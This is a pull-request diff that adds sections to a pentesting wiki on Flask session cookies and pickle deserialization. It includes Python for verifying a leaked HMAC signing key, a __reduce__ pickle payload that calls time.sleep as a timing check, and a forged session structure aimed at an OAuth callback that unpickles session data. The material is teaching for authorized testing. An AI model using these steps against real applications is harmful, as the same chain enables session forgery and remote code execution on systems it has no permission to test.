Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 25 additions & 0 deletions src/network-services-pentesting/pentesting-web/flask.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,30 @@ echo "ImhlbGxvIg" | base64 -d

Decoding does not verify the signature and does not reveal the secret key.

#### Inspect tagged bytes and test a leaked signing key

A decoded Flask session may contain a tagged bytes value under the key `" b"`. If an application stores a pickled OAuth flow there, Base64-decode that value and inspect it with `pickletools.dis()` **without calling `pickle.loads()` locally**. In one OAuth implementation, this exposed a client secret inside the flow object; the application had also reused that secret as its Flask signing key. This is an application mistake, not normal Flask behavior. In the example below, `session` is the parsed JSON payload of the decoded cookie.<sup>[[6]](#references)</sup>

```python
import base64, pickletools
flow_key = next(k for k in session if k.startswith("google_oauth2_flow_"))
blob = base64.b64decode(session[flow_key][" b"])
pickletools.dis(blob)
```

For the affected cookie format, split the cookie value from the right into `payload`, `timestamp`, and `signature`. Test a recovered candidate key (as `bytes`) against the **original encoded** payload and timestamp; a match proves it can sign modified session data. This example uses the application's HMAC-SHA1 `cookie-session` derivation. Other signing configurations may differ.<sup>[[6]](#references)</sup>

```python
import base64, hmac
payload, timestamp, signature = cookie.rsplit(".", 2)
derived = hmac.digest(candidate_secret, b"cookie-session", "sha1")
expected = hmac.digest(derived, f"{payload}.{timestamp}".encode(), "sha1")
actual = base64.urlsafe_b64decode(signature + "=" * (-len(signature) % 4))
print(hmac.compare_digest(expected, actual))
```

Once the key is known, the [Flask-Unsign](#flask-unsign) signing workflow below can forge session fields. If a callback later unpickles a flow stored in those fields, see [pickle deserialization from a forged Flask session](../../pentesting-web/deserialization/#pickle-deserialization-from-a-forged-flask-session). A shared key can also make forged sessions valid on sibling deployments with the same signing configuration.<sup>[[6]](#references)</sup>

### Flask-Unsign

`flask-unsign` can decode Flask session cookies and, during an authorized test, try candidate secret keys or sign a modified session when the key is known.<sup>[[3]](#references)</sup>
Expand Down Expand Up @@ -102,5 +126,6 @@ With a path such as `@attacker.example`, the constructed URL becomes `https://go
- [3] [flask-unsign](https://github.com/Paradoxis/Flask-Unsign)
- [4] [RIPsession](https://github.com/Tagvi/ripsession)
- [5] [Exploiting HTTP parser inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [6] [Google DevSite Flask Session Pickle RCE](https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce)

{{#include ../../banners/hacktricks-training.md}}
35 changes: 35 additions & 0 deletions src/pentesting-web/deserialization/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -234,6 +234,39 @@ print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3.

#### Pickle deserialization from a forged Flask session

Flask's default session format serializes tagged JSON, not pickle.<sup>[[60]](#references)</sup>

The dangerous pattern is **application code** putting a pickled object into a bytes-valued session field and later calling `pickle.loads()` on that field. If the session signing key is disclosed, the attacker can replace the nested object even though the outer cookie signature is valid. A real OAuth callback stored a flow under `google_oauth2_flow_<state>` and deserialized it after checking the signed session; the OAuth client secret was both exposed inside the original flow and reused as the signing key.<sup>[[59]](#references)</sup> Unlike [Django's direct PickleSerializer session](../../network-services-pentesting/pentesting-web/django.md#pickle-backed-signed-session-cookie-rce), the unsafe pickle here is a nested application value.

After recovering and validating the signing key, choose the callback `state` value and put a pickle under the matching flow key.<sup>[[59]](#references)</sup> Pass the pickle as a Python `bytes` value to Flask's session serializer: it emits Base64 beneath the tagged JSON key `" b"` and restores bytes when loading the cookie. Do not pass a literal `{" b": ...}` dictionary to the serializer, because Flask escapes dictionaries whose sole key looks like a tag.<sup>[[60]](#references)</sup> The state token and flow lookup key must agree, but no pre-existing server-side flow is required in this pattern.<sup>[[59]](#references)</sup> See [Flask cookie decoding and signing](../../network-services-pentesting/pentesting-web/flask.md#inspect-tagged-bytes-and-test-a-leaked-signing-key) for the preceding step.

For an authorized, non-destructive execution check, create a pickle whose `__reduce__()` calls `time.sleep()` rather than a command. Its delay is adjustable without changing the cookie or callback structure.<sup>[[59]](#references)</sup>

```python
import pickle, time
class Sleep:
def __init__(self, seconds):
self.seconds = seconds
def __reduce__(self):
return (time.sleep, (self.seconds,))
attacker_blob = pickle.dumps(Sleep(3))
```

Place the bytes value under the flow key selected by the callback state.<sup>[[59]](#references)</sup>

```python
state = "attacker-chosen"
session = {
"_permanent": True,
"google_oauth2_csrf_token": state,
"google_oauth2_flow_" + state: attacker_blob,
}
```

Sign the session with the recovered key and send it to the callback with the matching `state`. Compare latency with a zero-second payload and invalid-signature/no-flow controls. A delay tracking the chosen interval distinguishes execution during unpickling from normal endpoint latency; a later OAuth `invalid_grant` response does not rule out prior execution.<sup>[[59]](#references)</sup>

#### Length-field truncation to reach an internal pickle sink

Do not assume that an authentication check in front of `pickle.loads()` or `cPickle.loads()` makes that sink unreachable. Trace attacker-controlled values through every HTTP-to-RPC adapter and compare the **physical bytes appended by the sender** with the **lengths trusted by the receiver**. In legacy Python 2.6, packing an oversized integer into an unsigned-byte `B` field can retain only the low byte: `256` becomes `0`, while `289` becomes `33`. If the sender nevertheless appends the complete field, the two endpoints disagree about field boundaries.<sup>[[57]](#references)</sup>
Expand Down Expand Up @@ -1370,5 +1403,7 @@ Industrialized gadget discovery:
- [56] [PHP manual – `unserialize`](https://www.php.net/manual/en/function.unserialize.php)
- [57] [STAR Labs - Pickling the Mailbox: A Deep Dive into CVE-2025-20393](https://starlabs.sg/blog/2026/02-pickling-the-mailbox-a-deep-dive-into-cve-2025-20393)
- [58] [Horizon3.ai - Another SolarWinds Web Help Desk Deserialization Issue](https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue)
- [59] [Google DevSite Flask Session Pickle RCE](https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce)
- [60] [Flask TaggedJSONSerializer source](https://github.com/pallets/flask/blob/main/src/flask/json/tag.py)

{{#include ../../banners/hacktricks-training.md}}
Loading